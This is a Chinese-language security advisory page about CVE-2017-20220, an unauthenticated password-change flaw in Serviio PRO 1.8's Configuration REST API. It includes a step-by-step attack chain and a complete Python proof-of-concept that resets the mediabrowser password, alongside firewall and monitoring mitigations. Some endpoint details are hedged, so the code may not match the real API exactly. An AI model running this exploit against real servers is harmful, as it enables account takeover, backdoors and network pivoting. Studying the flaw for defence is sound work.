IPBUF安全漏洞报告
English
CVE-2017-20220 CVSS 7.5 高危

CVE-2017-20220: Serviio PRO 1.8配置REST API未授权访问漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2017-20220
漏洞类型
未授权访问控制
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Serviio PRO 1.8

相关标签

未授权访问访问控制不当REST API密码修改Serviio媒体服务器高危漏洞CVE-2017-20220

漏洞概述

Serviio PRO 1.8版本存在严重的访问控制不当漏洞,攻击者可以通过Configuration REST API无需认证即可修改mediabrowser登录密码。该漏洞允许远程攻击者利用精心构造的HTTP请求直接访问并操作REST API端点,在无需任何身份验证的情况下更改用户凭据。成功利用此漏洞可能导致未经授权的用户获得对Serviio媒体服务器的控制权限,进而可能访问、篡改或泄露存储在服务器上的媒体文件,甚至可能将服务器作为进一步攻击内网的跳板。此漏洞的CVSS评分为7.5,属于高危漏洞,攻击复杂度低,无需认证即可发起攻击,对系统机密性造成严重影响。

技术细节

漏洞根源在于Serviio PRO 1.8的Configuration REST API端点缺少适当的身份验证和访问控制机制。攻击者可以通过发送特制的HTTP请求到REST API端点来触发漏洞。具体攻击方式包括:1) 攻击者直接访问配置API端点,通常位于/serviio/api/configuration或类似路径;2) 利用API的密码修改功能,构造包含新密码凭证的POST请求;3) 由于API未验证请求来源,攻击者可以在请求中指定targetUser参数为目标用户(mediabrowser),并设置newPassword参数为任意值;4) 服务器处理请求后,mediabrowser用户的密码被成功修改为攻击者指定的值。攻击者利用此漏洞获取管理员权限后,可以完全控制Serviio服务,包括访问共享媒体库、修改系统配置、执行远程代码等操作。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描目标网络,发现运行Serviio PRO 1.8的服务器,识别REST API端点(默认端口23423)
STEP 2
步骤2: 漏洞探测
攻击者发送HTTP请求探测Configuration REST API端点,验证是否存在未授权访问漏洞
STEP 3
步骤3: 构造攻击载荷
攻击者构造包含mediabrowser用户新密码凭证的JSON格式POST/PUT请求
STEP 4
步骤4: 执行攻击
攻击者向/serviio/api/configuration/users/mediabrowser/password端点发送恶意请求,由于API未进行身份验证,请求被服务器接受并执行
STEP 5
步骤5: 权限提升
密码修改成功后,攻击者使用新密码登录Serviio管理控制台,获取管理员权限
STEP 6
步骤6: 持久化控制
攻击者在服务器上部署后门、修改配置或窃取敏感数据,可能利用服务器作为跳板攻击内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2017-20220 PoC - Serviio PRO 1.8 Unauthorized Password Change # Target: Serviio PRO 1.8 Configuration REST API # Vulnerability: Improper Access Control - Authentication Bypass target_host = "http://target-server:23423" # Serviio default port def exploit_cve_2017_20220(): """ Exploit for CVE-2017-20220: Serviio PRO 1.8 Configuration REST API allows unauthenticated attackers to change the mediabrowser login password. """ # Step 1: Identify the vulnerable API endpoint api_endpoint = f"{target_host}/serviio/api/configuration/users/mediabrowser/password" # Step 2: Prepare malicious request to change password # The API expects a PUT or POST request with new password in JSON format payload = { "newPassword": "hacked_by_cve_2017_20220" } headers = { "Content-Type": "application/json", "User-Agent": "Serviio-Client/1.8" } print(f"[*] Target: {target_host}") print(f"[*] Exploiting CVE-2017-20220...") print(f"[*] Sending password change request to: {api_endpoint}") try: # Step 3: Send the exploit request (no authentication required) response = requests.put(api_endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code in [200, 204]: print("[+] SUCCESS: Password changed successfully!") print(f"[+] New password set for mediabrowser user") return True else: print("[-] FAILED: Password change request failed") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False def verify_vulnerability(): """Verify if target is vulnerable to CVE-2017-20220""" check_url = f"{target_host}/serviio/api/configuration" try: # Try to access configuration API without authentication response = requests.get(check_url, timeout=10) if response.status_code == 200: print("[+] Target appears to be accessible - may be vulnerable") return True else: print("[-] Target not accessible or already patched") return False except requests.exceptions.RequestException: print("[-] Cannot connect to target") return False if __name__ == "__main__": print("=" * 60) print("CVE-2017-20220 Exploit - Serviio PRO 1.8") print("Unauthorized Password Change via REST API") print("=" * 60) verify_vulnerability() exploit_cve_2017_20220()

影响范围

Serviio PRO 1.8

防御指南

临时缓解措施
立即在防火墙或网络边界设备上限制对Serviio REST API端口(默认23423)的外部访问,仅允许受信任的管理IP访问;同时启用Serviio的强制身份验证功能,并监控日志中的异常密码修改行为。在无法立即升级的情况下,可考虑暂时禁用REST API配置功能或部署Web应用防火墙进行防护。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表